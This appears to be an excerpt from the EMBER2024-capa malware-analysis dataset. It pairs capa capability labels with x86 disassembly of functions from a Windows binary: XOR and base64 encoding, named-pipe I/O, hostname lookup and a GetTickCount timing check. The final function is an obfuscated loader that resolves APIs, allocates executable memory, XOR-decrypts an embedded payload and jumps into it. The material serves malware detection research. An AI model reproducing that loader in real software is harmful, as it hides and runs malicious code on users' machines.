joyce8/EMBER2024-capa huggingface dataset:
Function at 0x2a847d80
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push esi
push edi
mov ebp, dword [esp + 0x1c]
mov ebx, dword [esp + 0x24]
mov esi, dword [ebx]
mov edi, dword [ebx + 4]
push edi
push esi
push edi
push esi
mov ebx, esp
mov esi, dword [esp + 0x24]
mov edi, dword [esp + 0x28]
mov ecx, dword [esp + 0x38]
mov eax, dword [esp + 0x30]
push eax
push ebx
cmp ecx, 0
je 0x2a847e6a
and ebp, 0xfffffff8
mov eax, dword [esp + 8]
mov ebx, dword [esp + 0xc]
je 0x2a847dfd
mov ecx, dword [esi]
mov edx, dword [esi + 4]
xor eax, ecx
xor ebx, edx
bswap eax
bswap ebx
mov dword [esp + 8], eax
mov dword [esp + 0xc], ebx
call fcn.2a847540
mov eax, dword [esp + 8]
mov ebx, dword [esp + 0xc]
bswap eax
bswap ebx
mov dword [edi], eax
mov dword [edi + 4], ebx
add esi, 8
add edi, 8
sub ebp, 8
jne 0x2a847dc3
mov ebp, dword [esp + 0x34]
and ebp, 7
je 0x2a847f33
call fcn.2a847e0f
and ebp, 0xfffffff8
mov eax, dword [esp + 0x10]
mov ebx, dword [esp + 0x14]
je 0x2a847eca
mov eax, dword [esi]
mov ebx, dword [esi + 4]
bswap eax
bswap ebx
mov dword [esp + 8], eax
mov dword [esp + 0xc], ebx
call fcn.2a847960
mov eax, dword [esp + 8]
mov ebx, dword [esp + 0xc]
bswap eax
bswap ebx
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
xor ecx, eax
xor edx, ebx
mov eax, dword [esi]
mov ebx, dword [esi + 4]
mov dword [edi], ecx
mov dword [edi + 4], edx
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], ebx
add esi, 8
add edi, 8
sub ebp, 8
jne 0x2a847e7b
mov ebp, dword [esp + 0x34]
and ebp, 7
je 0x2a847f33
mov eax, dword [esi]
mov ebx, dword [esi + 4]
bswap eax
bswap ebx
mov dword [esp + 8], eax
mov dword [esp + 0xc], ebx
call fcn.2a847960
mov eax, dword [esp + 8]
mov ebx, dword [esp + 0xc]
bswap eax
bswap ebx
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
xor ecx, eax
xor edx, ebx
mov eax, dword [esi]
mov ebx, dword [esi + 4]
ror edx, 0x10
mov byte [edi + 6], dl
shr edx, 0x10
mov byte [edi + 5], dh
mov byte [edi + 4], dl
mov dword [edi], ecx
jmp 0x2a847f2e
jmp 0x2a847f33
mov ecx, dword [esp + 0x3c]
add esp, 0x18
mov dword [ecx], eax
mov dword [ecx + 4], ebx
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x2a84bb30
Capabilities:
Query environment variable

Disassembly:
mov eax, 8
call fcn.2a8b8f90
cmp dword [0x2a9b79f8], 0
jne 0x2a84bc77
push ebx
push esi
push str.OPENSSL_ia32cap
mov dword [0x2a9b79f8], 1
call sub.MSVCR120.dll_getenv
mov esi, eax
add esp, 4
test esi, esi
je 0x2a84bc49
xor ebx, ebx
lea eax, [esp + 8]
cmp byte [esi], 0x7e
push ebp
push edi
sete bl
push eax
push str._I64i
lea edi, [ebx + esi]
push edi
call sub.MSVCR120.dll_sscanf
add esp, 0xc
test eax, eax
jne 0x2a84bba7
push eax
push eax
push edi
call sub.MSVCR120.dll_strtoul
add esp, 0xc
mov edi, eax
xor ebp, ebp
mov dword [esp + 0x10], edi
mov dword [esp + 0x14], ebp
jmp 0x2a84bbaf
mov ebp, dword [esp + 0x14]
mov edi, dword [esp + 0x10]
test ebx, ebx
je 0x2a84bbe5
push 0x2a9b9a00
call section..text
mov ecx, edi
not ebp
not ecx
and edx, ebp
and eax, ecx
mov dword [esp + 0x18], edx
and edi, 0x1000000
mov dword [esp + 0x14], eax
add esp, 4
or edi, 0
je 0x2a84bbff
and edx, 0xedfff7fd
jmp 0x2a84bbf7
cmp byte [esi], 0x3a
jne 0x2a84bbff
push 0x2a9b9a00
call section..text
add esp, 4
mov dword [esp + 0x14], edx
mov dword [esp + 0x10], eax
push 0x3a
push esi
call sub.MSVCR120.dll_strchr
add esp, 8
pop edi
pop ebp
test eax, eax
je 0x2a84bc3d
inc eax
xor ebx, ebx
push 0
push 0
cmp byte [eax], 0x7e
sete bl
add eax, ebx
push eax
call sub.MSVCR120.dll_strtoul
add esp, 0xc
test ebx, ebx
je 0x2a84bc36
not eax
and dword [0x2a9b9a08], eax
jmp 0x2a84bc5e
mov dword [0x2a9b9a08], eax
jmp 0x2a84bc5e
mov dword [0x2a9b9a08], 0
jmp 0x2a84bc5e
push 0x2a9b9a00
call section..text
add esp, 4
mov dword [esp + 8], eax
mov dword [esp + 0xc], edx
mov eax, dword [esp + 8]
or eax, 0x400
mov dword [0x2a9b9a00], eax
mov eax, dword [esp + 0xc]
pop esi
mov dword [0x2a9b9a04], eax
pop ebx
add esp, 8
ret

Function at 0x2a855964
Capabilities:
Check for time delay via gettickcount

Disassembly:
push esi
call dword [sym.imp.kernel32.dll_GetTickCount]
mov esi, eax
shr esi, 4
call dword [sym.imp.kernel32.dll_GetTickCount]
shr eax, 4
sub eax, esi
cmp eax, 0xc
jbe 0x2a855970
pop esi
ret
Function at 0x2a8563d9
Capabilities:
Check if file exists

Disassembly:
push 0x64
mov eax, 0x2a94cb48
call fcn.2a84b884
mov edi, ecx
or ebx, 0xffffffff
cmp dword [edi + 4], ebx
jne 0x2a856519
push ebx
lea esi, [edi + 0xc]
push 0x2a953f5c
mov ecx, esi
call fcn.2a885f04
mov eax, dword [edi]
mov ecx, edi
push 0
push ebx
call dword [eax + 0x10]
push eax
lea ecx, [ebp - 0x54]
call fcn.2a84b832
and dword [ebp - 4], 0
lea eax, [ebp - 0x54]
push eax
mov ecx, esi
call fcn.2a8b7054
lea ecx, [ebp - 0x44]
mov dword [ebp - 4], ebx
call fcn.2a84bcc3
lea ecx, [ebp - 0x4c]
call fcn.2a84bcc3
push esi
lea ecx, [ebp - 0x3c]
call fcn.2a852b59
lea ecx, [ebp - 0x3c]
mov dword [ebp - 4], 1
call fcn.2a8b7a5a
lea eax, [ebp - 0x24]
mov dword [ebp - 4], 2
push eax
call fcn.2a8b8395
mov esi, eax
mov dword [ebp - 0x18], vtable.RSSecurityUtilsWin::CLocalFreeGuard.0
pop ecx
mov dword [ebp - 0x14], esi
mov ecx, dword [edi + 8]
mov byte [ebp - 4], 3
cmp dword [ecx], 0
jne 0x2a8564dd
lea ecx, [ebp - 0x3c]
call fcn.2a8b7a5a
push 0
push 0x40110000
push 3
lea ecx, [ebp - 0x24]
push ecx
push 0
push 0xc0000000
push eax
call dword [sym.imp.kernel32.dll_CreateFileA]
mov dword [edi + 4], eax
cmp eax, ebx
jne 0x2a8564dd
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 2
je 0x2a856571
cmp eax, 0xe7
jne 0x2a85655b
lea ecx, [ebp - 0x3c]
call fcn.2a8b7a5a
push 0x4e20
push eax
call dword [sym.imp.kernel32.dll_WaitNamedPipeA]
test eax, eax
je 0x2a85651f
mov eax, dword [edi + 8]
cmp dword [eax], 0
je 0x2a856479
cmp dword [edi + 4], ebx
je 0x2a8564fa
push 0
push 0
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], 2
push eax
push dword [edi + 4]
call dword [sym.imp.kernel32.dll_SetNamedPipeHandleState]
mov byte [ebp - 4], 2
test esi, esi
je 0x2a856509
push esi
call dword [sym.imp.kernel32.dll_LocalFree]
lea ecx, [ebp - 0x2c]
call fcn.2a84bcc3
lea ecx, [ebp - 0x34]
call fcn.2a84bcc3
call fcn.2a84ba86
ret
push 0
push ebx
push str.Problem_Opening_channel__all_pipe_instances_are_busy
lea ecx, [ebp - 0x54]
call fcn.2a84b832
mov byte [ebp - 4], 5
lea eax, [ebp - 0x54]
mov dword [ebp - 0x70], vtable.RSException.0
push eax
lea ecx, [ebp - 0x6c]
call fcn.2a852b59
mov dword [ebp - 0x70], vtable.CMessageException.0
push 0x2a9a2740
lea eax, [ebp - 0x70]
push eax
call sub.MSVCR120.dll__CxxThrowException
push 0
push ebx
push str.Problem_Opening_channel
lea ecx, [ebp - 0x54]
call fcn.2a84b832
mov byte [ebp - 4], 4
jmp 0x2a856533
lea ecx, [ebp - 0x70]
call fcn.2a8561e0
push 0x2a9a26e8
jmp 0x2a856552
Function at 0x2a856808
Capabilities:
Read file on windows

Disassembly:
push 0x90
mov eax, 0x2a94cbb6
call fcn.2a84b884
mov edi, ecx
xor ebx, ebx
lea eax, [ebp - 0x64]
push 0x14
push ebx
push eax
mov dword [ebp - 0x18], ebx
call sub.MSVCR120.dll_memset
add esp, 0xc
push ebx
push ebx
push 1
push ebx
call dword [sym.imp.kernel32.dll_CreateEventA]
mov esi, eax
mov dword [ebp - 0x38], esi
mov eax, dword [edi + 8]
mov dword [ebp - 0x54], esi
mov dword [ebp - 0x14], esi
mov dword [ebp - 4], ebx
mov eax, dword [eax + 0x14]
mov dword [ebp - 0x10], eax
cmp esi, 0xffffffff
jne 0x2a85688f
push ebx
push esi
push str.Failed_to_create_connection
lea ecx, [ebp - 0x50]
call fcn.2a84b832
mov byte [ebp - 4], 1
lea eax, [ebp - 0x50]
mov dword [ebp - 0x34], vtable.RSException.0
push eax
lea ecx, [ebp - 0x30]
call fcn.2a852b59
mov dword [ebp - 0x34], vtable.CMessageException.0
lea eax, [ebp - 0x34]
push 0x2a9a2740
push eax
call sub.MSVCR120.dll__CxxThrowException
mov ebx, dword [sym.imp.kernel32.dll_WaitForMultipleObjects]
lea eax, [ebp - 0x64]
push eax
lea eax, [ebp - 0x18]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [edi + 4]
call dword [sym.imp.kernel32.dll_ReadFile]
test eax, eax
jne 0x2a8569b6
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x3e5
je 0x2a856922
cmp eax, 0x6d
je 0x2a856981
push 0
push 0xffffffffffffffff
push str.Read_Error
lea ecx, [ebp - 0x50]
call fcn.2a84b832
mov byte [ebp - 4], 3
jmp 0x2a856867
push 0
push 0
lea eax, [ebp - 0x14]
push eax
push 2
call ebx
cmp eax, 1
je 0x2a856932
xor eax, eax
push eax
push eax
push eax
lea eax, [ebp - 0x80]
push eax
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x2a856922
cmp eax, 0xffffffff
je 0x2a8569b6
lea eax, [ebp - 0x80]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [ebp - 0x80]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageA]
push 0
push 0
lea eax, [ebp - 0x14]
push eax
push 2
call ebx
test eax, eax
jne 0x2a8568e1
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x14]
push eax
push 2
call ebx
sub eax, 0
je 0x2a85695f
dec eax
jne 0x2a856895
lea ecx, [ebp - 0x80]
call fcn.2a856151
push 0x2a9a275c
lea eax, [ebp - 0x80]
jmp 0x2a856889
push 1
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x64]
push eax
push dword [edi + 4]
call dword [sym.imp.kernel32.dll_GetOverlappedResult]
test eax, eax
jne 0x2a8569b6
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x6d
jne 0x2a85699c
lea ecx, [ebp - 0x9c]
call fcn.2a856151
push 0x2a9a275c
lea eax, [ebp - 0x9c]
jmp 0x2a856889
push 0
push 0xffffffffffffffff
push str.unexpected_error
lea ecx, [ebp - 0x50]
call fcn.2a84b832
mov byte [ebp - 4], 2
jmp 0x2a856867
or dword [ebp - 4], 0xffffffff
push esi
call dword [sym.imp.kernel32.dll_CloseHandle]
call fcn.2a84ba86
ret 8
Function at 0x2a8569c9
Capabilities:
Read file on windows

Disassembly:
push 0x90
mov eax, 0x2a94cbf4
call fcn.2a84b884
mov edi, ecx
xor ebx, ebx
lea eax, [ebp - 0x64]
push 0x14
push ebx
push eax
mov dword [ebp - 0x10], ebx
call sub.MSVCR120.dll_memset
add esp, 0xc
push ebx
push ebx
push 1
push ebx
call dword [sym.imp.kernel32.dll_CreateEventA]
mov esi, eax
mov dword [ebp - 0x38], esi
mov eax, dword [edi + 8]
mov dword [ebp - 0x54], esi
mov dword [ebp - 0x34], esi
mov dword [ebp - 4], ebx
mov eax, dword [eax + 0x14]
mov dword [ebp - 0x30], eax
cmp esi, 0xffffffff
jne 0x2a856a50
push ebx
push esi
push str.Failed_to_create_connection
lea ecx, [ebp - 0x50]
call fcn.2a84b832
mov byte [ebp - 4], 1
lea eax, [ebp - 0x50]
mov dword [ebp - 0x2c], vtable.RSException.0
push eax
lea ecx, [ebp - 0x28]
call fcn.2a852b59
mov dword [ebp - 0x2c], vtable.CMessageException.0
lea eax, [ebp - 0x2c]
push 0x2a9a2740
push eax
call sub.MSVCR120.dll__CxxThrowException
mov ebx, dword [sym.imp.kernel32.dll_GetLastError]
lea eax, [ebp - 0x64]
push eax
lea eax, [ebp - 0x10]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [edi + 4]
call dword [sym.imp.kernel32.dll_ReadFile]
test eax, eax
jne 0x2a856b1a
call ebx
cmp eax, 0x3e5
jne 0x2a856afb
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x34]
push eax
push 2
call dword [sym.imp.kernel32.dll_WaitForMultipleObjects]
sub eax, 0
je 0x2a856aae
dec eax
jne 0x2a856a56
lea ecx, [ebp - 0x9c]
call fcn.2a856151
push 0x2a9a275c
lea eax, [ebp - 0x9c]
jmp 0x2a856a4a
push 1
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x64]
push eax
push dword [edi + 4]
call dword [sym.imp.kernel32.dll_GetOverlappedResult]
test eax, eax
jne 0x2a856b1a
call ebx
cmp eax, 0x6d
jne 0x2a856ae1
lea ecx, [ebp - 0x80]
call fcn.2a856151
push 0x2a9a275c
lea eax, [ebp - 0x80]
jmp 0x2a856a4a
push 0
push 0xffffffffffffffff
push str.unexpected_error
lea ecx, [ebp - 0x50]
call fcn.2a84b832
mov byte [ebp - 4], 2
jmp 0x2a856a28
cmp eax, 0x6d
je 0x2a856acc
push 0
push 0xffffffffffffffff
push str.Read_Error
lea ecx, [ebp - 0x50]
call fcn.2a84b832
mov byte [ebp - 4], 3
jmp 0x2a856a28
or dword [ebp - 4], 0xffffffff
push esi
call dword [sym.imp.kernel32.dll_CloseHandle]
call fcn.2a84ba86
ret 8
Function at 0x2a856b61
Capabilities:
Write file on windows

Disassembly:
push 0x74
mov eax, 0x2a94cc2a
call fcn.2a84b884
mov edi, ecx
cmp dword [edi + 4], 0xffffffff
jne 0x2a856b8b
lea ecx, [ebp - 0x80]
call fcn.2a856151
push 0x2a9a275c
lea eax, [ebp - 0x80]
push eax
call sub.MSVCR120.dll__CxxThrowException
xor ebx, ebx
lea eax, [ebp - 0x30]
push 0x14
push ebx
push eax
mov dword [ebp - 0x10], ebx
call sub.MSVCR120.dll_memset
add esp, 0xc
push ebx
push ebx
push 1
push ebx
call dword [sym.imp.kernel32.dll_CreateEventA]
mov esi, eax
mov dword [ebp - 0x14], esi
mov eax, dword [edi + 8]
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 4], ebx
mov eax, dword [eax + 0x14]
mov dword [ebp - 0x18], eax
cmp esi, 0xffffffff
jne 0x2a856bfd
push ebx
push esi
push str.Failed_to_create_connection
lea ecx, [ebp - 0x48]
call fcn.2a84b832
mov byte [ebp - 4], 1
lea eax, [ebp - 0x48]
mov dword [ebp - 0x64], vtable.RSException.0
push eax
lea ecx, [ebp - 0x60]
call fcn.2a852b59
mov dword [ebp - 0x64], vtable.CMessageException.0
lea eax, [ebp - 0x64]
push 0x2a9a2740
jmp 0x2a856b85
mov ebx, dword [sym.imp.kernel32.dll_GetLastError]
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x10]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [edi + 4]
call dword [sym.imp.kernel32.dll_WriteFile]
test eax, eax
jne 0x2a856c57
call ebx
cmp eax, 0x3e5
jne 0x2a856c6a
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x1c]
push eax
push 2
call dword [sym.imp.kernel32.dll_WaitForMultipleObjects]
sub eax, 0
je 0x2a856c44
dec eax
jne 0x2a856c03
jmp 0x2a856b75
push 1
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x30]
push eax
push dword [edi + 4]
call dword [sym.imp.kernel32.dll_GetOverlappedResult]
or dword [ebp - 4], 0xffffffff
push esi
call dword [sym.imp.kernel32.dll_CloseHandle]
call fcn.2a84ba86
ret 8
call ebx
cmp eax, 0xe8
je 0x2a856b75
call ebx
cmp eax, 0xe9
je 0x2a856b75
push 0
push 0xffffffffffffffff
push str.Connection_Closed
lea ecx, [ebp - 0x48]
call fcn.2a84b832
mov byte [ebp - 4], 2
jmp 0x2a856bd9
Function at 0x2a8679f7
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
mov esi, dword [0x2a9b609c]
lea eax, [ebp - 4]
push edi
push eax
mov eax, dword [0x2a9b606c]
xor edi, edi
and dword [ebp - 4], edi
mov ebx, ecx
push str.Cstring
call dword [eax + 0x14]
pop ecx
movzx eax, ax
push eax
mov eax, dword [0x2a9b609c]
push dword [ebp + 8]
call dword [eax + 0x54]
push eax
call dword [esi + 0x168]
mov eax, dword [0x2a9b609c]
push dword [ebp - 4]
call dword [eax + 0x170]
add esp, 0x14
test eax, eax
je 0x2a867ab5
test byte [ebp + 0xc], 1
je 0x2a867a9e
xor esi, esi
push esi
push esi
push 3
push esi
push 3
push SysReAllocString
push eax
call dword [sym.imp.kernel32.dll_CreateFileA]
mov edi, eax
xor eax, eax
cmp edi, 0xffffffff
cmove edi, eax
test edi, edi
je 0x2a867a9e
lea eax, [ebp + 8]
push eax
push edi
call dword [sym.imp.kernel32.dll_GetFileSize]
mov ecx, dword [ebp + 8]
xor edx, edx
or edx, eax
or ecx, esi
mov dword [ebp - 8], ecx
ja 0x2a867a94
cmp edx, 0x7fffffff
jbe 0x2a867a9e
mov eax, dword [ebx]
mov ecx, ebx
push edi
call dword [eax + 8]
mov edi, esi
mov esi, dword [0x2a9b609c]
push dword [ebp - 4]
call dword [esi + 0x54]
push eax
call dword [esi + 0x16c]
pop ecx
pop ecx
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x2a8682a3
Capabilities:
Encode data using base64

Disassembly:
push 0x10
mov eax, 0x2a94df7f
call fcn.2a84b884
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
mov eax, dword [ebp + 8]
mov dword [eax + 0x14], 0xf
mov dword [eax + 0x10], ebx
mov byte [eax], bl
mov eax, dword [0x2a9b611c]
xor ecx, ecx
inc ecx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x1c], ecx
test cl, al
jne 0x2a868300
or eax, ecx
mov dword [0x2a9b611c], eax
lea eax, [ebp - 0xf]
mov dword [ebp - 4], ecx
push eax
push 0x2a953e58
mov ecx, 0x2a9b6104
call fcn.2a885f04
push 0x2a952881
call fcn.2a885f04
pop ecx
mov byte [ebp - 4], bl
mov eax, dword [ebp + 0x10]
mov edi, ebx
test eax, eax
je 0x2a868461
push 3
pop esi
mov ecx, dword [ebp + 0xc]
dec eax
mov dword [ebp + 0x10], eax
mov al, byte [ecx]
mov byte [ebp + edi - 0x14], al
inc edi
mov dl, byte [ebp - 0x13]
inc ecx
mov dword [ebp + 0xc], ecx
mov ch, byte [ebp - 0x12]
mov cl, byte [ebp - 0x14]
mov byte [ebp - 0xf], ch
mov byte [ebp - 0xd], dl
mov byte [ebp - 0xe], cl
cmp edi, esi
jne 0x2a8683a8
mov esi, dword [ebp + 8]
mov al, cl
shr al, 2
and cl, 3
mov byte [ebp - 0x18], al
mov edi, ebx
shl cl, 4
mov al, dl
shr al, 4
add cl, al
mov al, ch
mov byte [ebp - 0x17], cl
mov cl, dl
and cl, 0xf
shr al, 6
shl cl, 2
add cl, al
mov al, ch
and al, 0x3f
mov byte [ebp - 0x16], cl
mov byte [ebp - 0x15], al
cmp dword [0x2a9b6118], 0x10
mov ecx, 0x2a9b6104
movzx eax, byte [ebp + edi - 0x18]
cmovae ecx, dword [0x2a9b6104]
movzx eax, byte [eax + ecx]
mov ecx, esi
push eax
push 1
call fcn.2a885f04
inc edi
cmp edi, 4
jl 0x2a86836e
mov dl, byte [ebp - 0xd]
mov edi, ebx
mov cl, byte [ebp - 0xe]
mov ch, byte [ebp - 0xf]
push 3
pop esi
mov eax, dword [ebp + 0x10]
test eax, eax
jne 0x2a868310
mov dword [ebp + 0x10], edi
test edi, edi
je 0x2a868461
mov eax, edi
cmp edi, esi
jge 0x2a8683de
cmp eax, esi
jae 0x2a86846a
mov byte [ebp + eax - 0x14], bl
inc eax
cmp eax, esi
jl 0x2a8683c6
mov ch, byte [ebp - 0x12]
mov dl, byte [ebp - 0x13]
mov cl, byte [ebp - 0x14]
mov al, cl
and cl, 3
shr al, 2
mov byte [ebp - 0x18], al
mov al, dl
shr al, 4
and dl, 0xf
shl cl, 4
add cl, al
shl dl, 2
mov al, ch
mov byte [ebp - 0x17], cl
shr al, 6
and ch, 0x3f
add dl, al
mov byte [ebp - 0x15], ch
lea eax, [edi + 1]
mov byte [ebp - 0x16], dl
mov dword [ebp - 0x14], eax
test eax, eax
jle 0x2a86844c
mov esi, dword [ebp + 8]
mov edi, eax
cmp dword [0x2a9b6118], 0x10
mov ecx, 0x2a9b6104
movzx eax, byte [ebp + ebx - 0x18]
cmovae ecx, dword [0x2a9b6104]
movzx eax, byte [eax + ecx]
mov ecx, esi
push eax
push 1
call fcn.2a885f04
inc ebx
cmp ebx, edi
jl 0x2a86841b
mov edi, dword [ebp + 0x10]
push 3
pop esi
cmp edi, esi
jge 0x2a868461
sub esi, edi
mov ecx, dword [ebp + 8]
push 0x3d
push 1
call fcn.2a885f04
dec esi
jne 0x2a868452
mov eax, dword [ebp + 8]
call fcn.2a84ba86
ret
call fcn.2a885f04
int3
Function at 0x2a86fcc9
Capabilities:
Encode data using base64

Disassembly:
push 8
mov eax, 0x2a94f10c
call fcn.2a84b884
mov edi, dword [ebp + 0xc]
xor ecx, ecx
mov dword [ebp - 0x14], ecx
cmp dword [edi + 0x14], 0x10
jb 0x2a86fcea
mov eax, dword [edi]
mov dword [ebp - 0x10], eax
jmp 0x2a86fced
mov dword [ebp - 0x10], edi
mov esi, dword [ebp + 8]
mov ebx, dword [edi + 0x10]
mov dword [ebp + 0xc], ebx
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], ecx
mov byte [esi], cl
push ecx
mov eax, ebx
mov dword [ebp - 4], ecx
shl eax, 2
push 3
pop ecx
cdq
idiv ecx
mov dword [ebp - 0x14], 1
add eax, ecx
mov ecx, esi
push eax
call fcn.2a885f04
cmp dword [esi + 0x14], 0x10
jb 0x2a86fd2c
mov ecx, dword [esi]
jmp 0x2a86fd2e
mov ecx, esi
xor edx, edx
test ebx, ebx
jle 0x2a86fdd6
mov esi, dword [ebp - 0x10]
movzx eax, byte [edx + esi]
shr eax, 2
mov al, byte [eax + 0x2a9555d0]
mov byte [ecx], al
mov bl, byte [edx + esi]
and bl, 3
shl bl, 4
inc edx
cmp edx, dword [ebp + 0xc]
jge 0x2a86fd61
mov al, byte [edx + esi]
shr al, 4
or bl, al
movzx eax, bl
mov al, byte [eax + 0x2a9555d0]
mov byte [ecx + 1], al
mov eax, dword [ebp + 0xc]
cmp edx, eax
jge 0x2a86fda7
cmp dword [edi + 0x14], 0x10
jb 0x2a86fd7e
mov ebx, dword [edi]
jmp 0x2a86fd80
mov ebx, edi
mov bl, byte [ebx + edx]
and bl, 0xf
shl bl, 2
inc edx
cmp edx, eax
jge 0x2a86fd96
mov al, byte [edx + esi]
shr al, 6
or bl, al
movzx eax, bl
mov al, byte [eax + 0x2a9555d0]
mov byte [ecx + 2], al
mov eax, dword [ebp + 0xc]
jmp 0x2a86fdab
mov byte [ecx + 2], 0x3d
add ecx, 3
cmp edx, eax
jge 0x2a86fdc6
movzx eax, byte [edx + esi]
and eax, 0x3f
mov al, byte [eax + 0x2a9555d0]
mov byte [ecx], al
mov eax, dword [ebp + 0xc]
jmp 0x2a86fdc9
mov byte [ecx], 0x3d
inc ecx
inc edx
cmp edx, eax
jl 0x2a86fd3b
mov esi, dword [ebp + 8]
cmp dword [esi + 0x14], 0x10
jb 0x2a86fde0
mov eax, dword [esi]
jmp 0x2a86fde2
mov eax, esi
sub ecx, eax
push 0
push ecx
mov ecx, esi
call fcn.2a885f04
mov eax, esi
call fcn.2a84ba86
ret

Function at 0x2a872e7d
Capabilities:
Get hostname

Disassembly:
push 0x450
mov eax, 0x2a94f732
call fcn.2a8b882c
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x40f]
xor ebx, ebx
push 0x3ff
push ebx
push eax
mov dword [ebp - 0x45c], ebx
mov byte [ebp - 0x410], bl
call sub.MSVCR120.dll_memset
add esp, 0xc
lea eax, [ebp - 0x410]
push 0x400
push eax
call dword [sym.imp.WS2_32.dll_gethostname]
test eax, eax
je 0x2a872f1a
push 0x93
lea ecx, [ebp - 0x458]
mov dword [ebp - 0x458], ebx
mov dword [ebp - 0x454], ebx
call fcn.2a885f04
lea eax, [ebp - 0x44c]
mov dword [ebp - 4], ebx
push eax
lea ecx, [ebp - 0x458]
call fcn.2a868470
push eax
lea ecx, [ebp - 0x434]
mov byte [ebp - 4], 1
call fcn.2a867c62
push 0x2a9a5284
lea eax, [ebp - 0x434]
push eax
call sub.MSVCR120.dll__CxxThrowException
lea eax, [ebp - 0x44d]
mov ecx, esi
push eax
lea eax, [ebp - 0x410]
push eax
call fcn.2a885f04
mov eax, esi
call fcn.2a8b880e
ret
Function at 0x2a879c31
Capabilities:
Get socket status

Disassembly:
push 0x198
mov eax, 0x2a9505d8
call fcn.2a8b882c
mov eax, dword [ecx + 0x10004]
xor esi, esi
mov dword [ebp - 0x1a4], 0x1e
mov dword [ebp - 0x1a0], esi
mov dword [ebp - 0x18c], esi
cmp eax, 0xffffffff
je 0x2a879cf8
lea ecx, [ebp - 0x1a4]
mov dword [ebp - 0x188], eax
push ecx
inc eax
mov dword [ebp - 0x18c], 1
lea ecx, [ebp - 0x18c]
push esi
cmp dword [ebp + 8], esi
jne 0x2a879c8f
push esi
push ecx
jmp 0x2a879c91
push ecx
push esi
push eax
call dword [sym.imp.WS2_32.dll_select]
cmp eax, 1
je 0x2a879cee
push 0x77
lea ecx, [ebp - 0x194]
mov dword [ebp - 0x194], esi
mov dword [ebp - 0x190], esi
call fcn.2a885f04
lea eax, [ebp - 0x70]
mov dword [ebp - 4], 2
push eax
lea ecx, [ebp - 0x194]
call fcn.2a868470
push eax
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], 3
call fcn.2a867c62
mov dword [ebp - 0x58], vtable.Exceptions::SocketException.0
lea eax, [ebp - 0x58]
push 0x2a9a76f0
push eax
call sub.MSVCR120.dll__CxxThrowException
mov al, 1
call fcn.2a8b880e
ret 4
push 0x92
lea ecx, [ebp - 0x19c]
mov dword [ebp - 0x19c], esi
mov dword [ebp - 0x198], esi
call fcn.2a885f04
lea eax, [ebp - 0x88]
mov dword [ebp - 4], esi
push eax
lea ecx, [ebp - 0x19c]
call fcn.2a868470
push eax
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 1
call fcn.2a867c62
mov dword [ebp - 0x34], vtable.Exceptions::SocketException.0
lea eax, [ebp - 0x34]
push 0x2a9a76f0
jmp 0x2a879ce8
Function at 0x2a885f04
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x2a885f13
pop dword [ebp - 0x48]
mov eax, 0x2a885f13
sub dword [ebp - 0x48], eax
mov dword [ebp - 0x58], 0x6db97583
sub dword [ebp - 0x58], 0x1f673038
mov dword [ebp - 0x54], 0x83962b87
sub dword [ebp - 0x54], 0x5162df42
mov dword [ebp - 0x50], 0xc6c719f5
sub dword [ebp - 0x50], 0x7a7ad5c7
mov dword [ebp - 0x4c], 0xe980ef1b
add dword [ebp - 0x4c], 0x167f10e5
lea eax, [ebp - 0x58]
push eax
mov eax, 0xf0e8eb8d
add eax, 0x39ac45cf
add eax, dword [ebp - 0x48]
call dword [eax]
mov dword [ebp - 0x58], 0x41c70038
add dword [ebp - 0x58], 0x32ab691e
mov dword [ebp - 0x54], 0x2dcdbbdc
sub dword [ebp - 0x54], 0xec615a67
mov dword [ebp - 0x50], 0xc59b6ac8
add dword [ebp - 0x50], 0x9dd401a4
mov dword [ebp - 0x4c], 0x429930e0
add dword [ebp - 0x4c], 0xbd66cf20
lea ebx, [ebp - 0x58]
push ebx
push eax
mov eax, 0x17964178
sub eax, 0xed011024
add eax, dword [ebp - 0x48]
call dword [eax]
push 0x40
push 0x1000
push 0x46668
push 0
call eax
mov ecx, 0x759c279e
sub ecx, 0x759be7a1
mov ebx, eax
mov edx, 0x2a9d8a00
add edx, dword [ebp - 0x48]
mov edi, 0x71969628
sub edi, 0x6944fba7
add dword [ebp - 0xc], ebx
mov esi, dword [edx]
xor dword [ebp - 0x44], 0x973eba7a
xor esi, edi
mov dword [ebx], esi
xor dword [ebp - 0x1c], 0xbba0794f
add ebx, 0x7f5c662f
add ebx, 0x80a399d5
add edx, 4
loop 0x2a88602a
add eax, 0xb66ddf00
add eax, 0x499313c7
xor ebx, ebx
add ebx, eax
add eax, 0x4e78402e
add eax, 0xb187bfd7
mov ecx, 0x2a800000
add ecx, dword [ebp - 0x48]
call ebx
leave
ret